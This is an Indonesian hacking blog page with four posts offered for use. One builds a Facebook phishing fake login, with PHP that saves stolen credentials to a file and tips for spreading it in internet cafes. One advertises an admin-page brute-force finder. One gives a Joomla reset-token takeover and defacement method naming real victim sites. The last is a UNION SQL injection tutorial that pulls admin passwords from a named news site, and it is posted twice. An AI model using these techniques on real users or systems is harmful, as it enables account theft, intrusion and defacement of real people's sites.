Xr0b0t Website

facebook fake login..by kidego

Posted on 08.43 by CS-31

sedikit share soal pemaksaan pengambilan account facebbok menggunakan fakelogin

ini merupakan salah satu teknik pishing,

ga ush bertele telehe,

credit:www.700megs.com

knp saia buat creditnya yg diatas?? saia rekomendasikan temen2 buat account di www.700megs.com,krena saia liat ripway lgi bnyak kasus ktanya..xixixi...sekalian ngasi info klo www.700megs.com support .PHP jg low..hohoho

oke,saia anggap semua udh ngerti cara buat account nya.setelah berhasil,masuk ke FILE MANAGER...hapus file index.html.(akan ada di Cpanel masing2 nantinya

klo udah siapkan script berikut..
tdk perlu diedit,cos udh gw setting dan tinggal loe pakek

save code diatas dengan index.html atou index.php

kemudian

code
$value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save dengan nama write.php

upload kedua file index.html dan write.php ke dalam control panel di www.700megs.com masing

buat ngetes,buka dulu index html yg telah kalian upload dan login dri situ,
klo berhasil..akan ada file baru ;Password.txt

selesai dah..untuk penyebaranya silahkan dengan cara masing2...

disini gw cm ngasih contoh satu untuk pengambilan secara paksa account2 facebook mania..

buka file index di www.700megs.com kalian..ambil URL nya..

terus untuk pengguna firefox: buka tools>option>main

preview:

disni fungsinya kita mengarahkan agar browser waktu pertama kali dibuka langung mengarah ke file kita tadi...memungkinkan hasil buruan kalian lebih bnyak nantinya..

bole di sebar ke komputer temen/di warnet2 kesayangan..wkkwk

atau..

klo code index.html loe save dengan ekstensi index.php

loe bs nyebar dengan cara gini

loe buat account baru,di yahoo,gmail,ato sejenisnya

dengan nick Facebook@ or something like that..

diatas cm contoh...silahkan buat seni sendiri
enjoy..

semoga korbanmu dudull

..::: CyberDos Underground Community :::..

1 komentar

Admin/Login Page Finder by Reiluke..

Posted on 08.36 by CS-31

Numpang nge-share aja nih. Sorry kalo gak berbobot atau ripos.

Mungkin sebagian dari kita ada yang kesusahan mencari halaman admin/login dari suatu situs. Username & password admin dah dapet eh kita malah gak nemu halaman buat ngakses ke adminnya .

Software kecil ini akan membantu kita mencari suatu direktori/halaman di suatu situs (dikhususkan untuk login/admin) dengan metode Brute Force.

Untuk menambah word list-nya tinggal mengedit admin.txt yang sudah disertakan.

Download disini :

http://h1.ripway.com/JokerKliker/reiluk … finder.rar

Pastikan kompi sudah terinstall .NET Framework!

Semoga berguna...

cyberdos Undegroum Community

1 komentar

Deface Web ala || B0byh1k4rU ||

Posted on 08.25 by CS-31

ehem langsung ajah g banyak bacot
.....
saya belajar dari STUPID COLONEL.....
dan di renovasi oleh bobyhikaru dan slalu_ngantuk

okeh
persiapan wajib......

mallboro merah
kopi hangat
cimenx kalo ada......
dan yang penting kesabaran saat mencari korban...........

okeh langkah pertama

masuk k http://www.google.com

2.klik/search inurl:option=com_user daerah tujuancontoh: inurl:option=com_user pekan baru

3. misalkan dapet korban
http://konsultasimuamalat.com/home/index.php?option=com_user&task=register

lihat warna yang merah akan di ganti dengan

option=com_user&view=reset&layout=confirm
jadi penulisannya...
http://konsultasimuamalat.com/home/index.php?option=com_user&view=reset&layout=confirm

nah di situ akan keluar token

token tersebut di isi dengan tanda....
' <----------- Kenapa harus tanda ' Emmm kata mr.joker tanda itu adalah tanda di mana kita bisa menjadikan suatu token menjadi eror....ckckckckckckck....
kalo kata saya si dah kodrat....

terus kalo berhasil km akan di bawa menuju
tempat mengisi password baru dan konfirmasi password baru....

isi lah dengan sesuka hati.....

lanjut...................

langah berikutnya
setelah di berhasil isi pass tersebut anda harus login lagi dengan nama/ username

Admin
nah kalo passwordnya yaitu adalah password yang baru anda buat tadi.....

nah bagaimana ketahuan anda sudah masuk k adminnya????/ anda sudah menjadi admin nya....
yaitu adalah pasti kalo anda sudah bisa masuk ada gambar pensil dan ketas baru edit....
itu bila anda ingin deface halaman depan nya saja
ini contoh korbannya:
http://www.firdauscenter.info/

lanjut....kalo anda ingin deface full seperti ini http://www.dgllimbo.net/laquimia0/

anda masuk ke emmmm...contoh tadi
http://konsultasimuamalat.com/home/index.php

rubah jadi http://konsultasimuamalat.com/home/administrator/
itu dari slalu ngantuk saya bljar.....

masuk ke bagian tempeate kalo g salah adanya di extension...
klik tempelates masuk terus liat layouts yang sedang di pakai adminnya..../ yang ada gambar bintangnya....
terus klik lalu klik edit terus klik edit html
masukan semua html kamu di situ...... :afro: :afro:

nah selesai dah....

emm.....
sekian deh kalo ada yang kurang jelas balik lagi ajah yang terpenting coba dlu....nd usahakan jangan deface web indonesia...
lalu jangan lupa

THANKS TO NYA........

beres dah

CONTOH KORBAN

http://baretracks.org/

1 komentar

Tutorial SQL Injection Pada MYSQL from Yogyafree.net by del_caeser

Posted on 08.15 by CS-31

yang perlu di ketahui sebelum sql injection pada mysql:

comments: /*,--
sering ditemui pada web application: php,dll..
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

langsung saja...

contoh target kita adalah http://www.lampungpost.com...

step 1. mengetahui situs itu vulnerable sql injection atau tidak

*menggunakan tanda petik,or 1=1,etc

bila mengunakan cara diatas tanda petik,or 1=1,dll maka umumnya kita akan mendapatkan pesan error.

http://www.target.com/blabla.php?id=123'
http://www.target.com/blabla.php?id=123 or 1=1

Error Type:
pada php.

Code:

Warning:  mysql_fetch_array(): supplied argument is not a valid MySQL result resource in blah/blah/blah.php on line x

pada asp.

Code:

[MySQL][ODBC x.xx Driver][mysqld-x.x.xxx-xxx]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'x' at line x

cara ini tidak efektif untuk php. karna php mempunyai sesuatu yang disebut "sql error handling" yang membuat pesan error tidak akan dimuncul diweb tetapi disimpan didalam logs.

*menggunakan tanda minus,and 1=1,and 1=2,etc

bila menggunakan cara ini umumnya kita akan mendapat teks yang menghilang,blank,picture yang tidak bisa terlihat,error (jarang terjadi),etc.

kita ambil url http://www.lampungpost.com/aktual/berita.php?id=2254

sekarang berikan tanda minus setelah = atau bisa juga -1 biar lebih gampang, bila teks hilang maka vulnerable..

menjadi, http://www.lampungpost.com/aktual/berita.php?id=-2254

step 2. Blind SQL Injection

Blind SQL Injection adalah dimana kita mendapatkan data tidak melalui pesan error. untuk memahami blind sql injection lebih jauh bisa dilihat di:
http://echo.or.id/forum/viewtopic.php?t=7862

bila kamu mengetahui situs tersebut vulnerable melalui tanda petik,or 1=1,etc . maka kamu harus menggunakan tanda minus,and 1=2,etc baru kemudian mengunakan union select dan add number (biasa disebut "column count ") sampai muncul angka pada web tersebut.

contoh melakuan column count :

union select diikuti dengan angka.

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,/*

ternyata yang keluar sampai angka 9

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9/*

disitu kamu bisa melihat dua angka 9 dan 2

step 3. mengeluarkan table_name

query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1

masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"

menjadi,

Code:

hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*

kamu juga bisa memasukan table_name ke angka 9 (karna angka yang keluar 9 dan 2)

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,table_name20%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*

tapi disini del_caeser mengunakan 2.

untuk mengeluarkan table_name yang lain ganti "limit 0,1"menjadi "limit 1,1";"limit 2,1";"limit 3,1" sampai tidak keluar lagi table_namenya, hanya menambahkan angka didepan limit tapi tidak dibelakang koma. hal itu karna mysql tidak support "not in" tapi limit

table_name kedua

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%201,1/*

table_name ketiga

Code:

hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%202,1/*

disini target kita mencari admin id dan pass..

, dan itu ada di limit 10,1 table_name "user"

Code:

http://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%2010,1/*

step 4. mengeluarkan column_name

query yang kita gunakan adalah : union select column_name from information_schema.columns where table_name='table_name target' limit 0,1

masukan "column_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.columns where table_name='table_name target' limit 0,1"

dalam hal ini table_name target adalah "user"

menjadi,

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,column_name,3,4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_name='user'%20limit%200,1/*

untuk mengeluarkan column_name yang lain ganti "limit 0,1"menjadi "limit 1,1";"limit 2,1";"limit 3,1" sampai tidak keluar lagi column_namenya, hanya menambahkan angka didepan limit tapi tidak dibelakang koma. hal itu karna mysql tidak support "not in" tapi limit

( tidak ada screenshot maqic quote off karna lampungpost.com maqic quote on)

* Filter Input
filter input adalah untuk mencegah sql injection, salah satunya adalah magic quote gpc (php), magic quote sendiri adalah filter input terhadap tanda kutip dengan menambahkan backslash pada tanda kutip yang diinputkan.

contoh:

Quote:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name='user' limit 0,1/*

perhatikan 'user' kalau maqic quote gpc on:

Quote:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=/'user/' limit 0,1/*

itu merusak query yang kita gunakan, tapi kita bisa bypass dengan ascii mengunakan hexa Decimal atau char.
kamu bisa coba disini http://www.piclist.com/techref/ascii.htm . untuk hexa desimal, setiap hexa desimal yang dihasilkan didepannya ditambahkan 0x.

column_namenya adalah "userid" dan "password"

step 5. mengeluarkan field

query yang kita gunakan adalah : UNION SELECT column_name FROM table_name

colomn_name :userid, password
table_name :user

masukan column_name pada angka yang keluar (9 dan 2) kemudian FROM table_name

menjadi,

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,password,3,4,5,6,7,8,userid%20from%20user/*

dan kita mendapatkan filednya "berita" unutk "userid" dan "nokia" unutk "password".

* Mengunakan Concatenation

Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)

contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9

bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password,0x3a,description ),3,4,5,6,7,8,9%20from%20user/*

kamu juga bisa seperti ini,

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password),3,4,5,6,7,8,description%20from%20user/*

syntax-nya seperti ini concat(column_name,0x3a,column_name,0x3a,column_name,0x3a,..... ) 0x3a artinya :

mohon koreksinya bila ada yang salah..

thanks to : kartu_mati,bius,k1tk4t,xporg,t0pP8uZz,illuz1oN

0 komentar

Tutorial SQL Injection Pada MYSQL from Yogyafree.net by del_caeser

Posted on 08.15 by CS-31

Code:

Warning:  mysql_fetch_array(): supplied argument is not a valid MySQL result resource in blah/blah/blah.php on line x

pada asp.

Code:

[MySQL][ODBC x.xx Driver][mysqld-x.x.xxx-xxx]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'x' at line x

sekarang berikan tanda minus setelah = atau bisa juga -1 biar lebih gampang, bila teks hilang maka vulnerable..

menjadi, http://www.lampungpost.com/aktual/berita.php?id=-2254

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,/*

ternyata yang keluar sampai angka 9

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9/*

disitu kamu bisa melihat dua angka 9 dan 2

Code:

hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*

kamu juga bisa memasukan table_name ke angka 9 (karna angka yang keluar 9 dan 2)

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,table_name20%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*

tapi disini del_caeser mengunakan 2.

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%201,1/*

table_name ketiga

Code:

hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%202,1/*

disini target kita mencari admin id dan pass..

, dan itu ada di limit 10,1 table_name "user"

Code:

http://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%2010,1/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,column_name,3,4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_name='user'%20limit%200,1/*

Quote:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name='user' limit 0,1/*

perhatikan 'user' kalau maqic quote gpc on:

Quote:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=/'user/' limit 0,1/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,password,3,4,5,6,7,8,userid%20from%20user/*

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password,0x3a,description ),3,4,5,6,7,8,9%20from%20user/*

kamu juga bisa seperti ini,

Code:

hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password),3,4,5,6,7,8,description%20from%20user/*

syntax-nya seperti ini concat(column_name,0x3a,column_name,0x3a,column_name,0x3a,..... ) 0x3a artinya :

mohon koreksinya bila ada yang salah..

thanks to : kartu_mati,bius,k1tk4t,xporg,t0pP8uZz,illuz1oN

0 komentar

Full Name:
Your Email:
New Password:
I am:
Birthday:
	Why do I need to provide this?

Xr0b0t Website

Sported By

Mengenai Saya

Translator

Labels

Blog Archive

Pengikut

CHAT

LINK FRIENDS

MY FORUM

Powered By

facebook fake login..by kidego

Javascript is disabled on your browser.

Security Check

Admin/Login Page Finder by Reiluke..

Deface Web ala || B0byh1k4rU ||

Tutorial SQL Injection Pada MYSQL from Yogyafree.net by del_caeser

Tutorial SQL Injection Pada MYSQL from Yogyafree.net by del_caeser